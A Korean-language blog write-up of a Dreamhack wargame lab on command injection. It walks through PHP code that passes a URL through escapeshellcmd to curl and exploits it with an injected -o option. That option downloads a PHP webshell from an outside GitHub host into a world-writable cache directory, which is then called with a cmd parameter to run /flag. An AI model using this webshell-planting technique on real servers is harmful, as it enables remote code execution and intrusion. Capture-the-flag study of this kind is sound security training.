반응형
문제 설명
Exercise: Command Injection Advanced에서 실습하는 문제입니다.
코드 분석
index.php
<?php
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !');
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result);
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
return;
}
}else{
?>
- url을 입력받고 curl을 실행함. 검증은 http인지만 확인함
- 실행 결과를 cache 디렉터리에 저장한 뒤 링크로 노출
Dockerfile
...
RUN chmod 777 /var/www/html/cache/
COPY ./deploy/run-lamp.sh /usr/sbin/
...
COPY deploy/flag.c /flag.c
RUN apt install -y gcc \
&& gcc /flag.c -o /flag \
&& chmod 111 /flag && rm /flag.c
- var/www/html/cache 권한이 777임
- /flag 생성되는데 권한이 111 , 실행만 가능함
취약점 분석
- escapeshellcmd()는 공백과 "-" 를 막지 않아서 curl 옵션이 주입 가능하다.
즉 -o나 -d 같은 옵션을 넣어 파일을 외부나 쓰기가 가능함 - URL을 http 문자열만 검사함
익스플로잇
명령이 직접 실행되는 것이 아니라 명령을 실행할 수 있는 파일을 서버에 심어 주는 것이 핵심
그래서 php 파일(웹셸)을 심어줌
먼저 webshell.php을 깃허브를 이용해 만들어줌

Raw를 눌러 URL을 가져옴
https://raw.githubusercontent.com/Oyeonseok/command-injection/refs/heads/main/webshell.php
문제의 화면으로 돌아가서 URL에 다음과 같이 작성
https://raw.githubusercontent.com/Oyeonseok/command-injection/refs/heads/main/webshell.php -o /var/www/html/cache/webshell.php
- -o 옵션은 응답을 파일로 저장하는 옵션
- /var/www/html/cache/는 권한이 777이라서 읽고/쓸수가 있음

이런식으로 파일이 생기고 URL에 /cache/webshell.php를 입력해 주면

다음과 같이 브라우저에 출력된 것을 확인할 수 있음
따라서 다음과 같이 작성해주면
http://host3.dreamhack.games:11989/cache/webshell.php?cmd=/flag
- dockerfile에서 /flag가 생성되는 것을 확인

그 외)
해당 링크에 웹 셸을 출력해주는 코드를 확인할 수 있다.
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php -o /var/www/html/cache/webshell.php
을 입력해주고 똑같이 /cache/webshell.php에 접속해주면 된다.

그리고 다음과 같이 ls -al / 을 입력하고 Execute 해주면 flag파일 있는 것을 확인할 수 있고
flag는 실행 파일임으로, 입력칸에 /flag를 입력해 flag을 실행해주면 플래그를 획득할 수 있다.
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| File Vunleravility Advanced for Linux (0) | 2026.02.07 |
|---|---|
| sql injection bypass WAF (0) | 2026.02.06 |
| error based sql injection (0) | 2026.02.03 |
| easy client side (0) | 2026.02.03 |
| easy server side (0) | 2026.02.03 |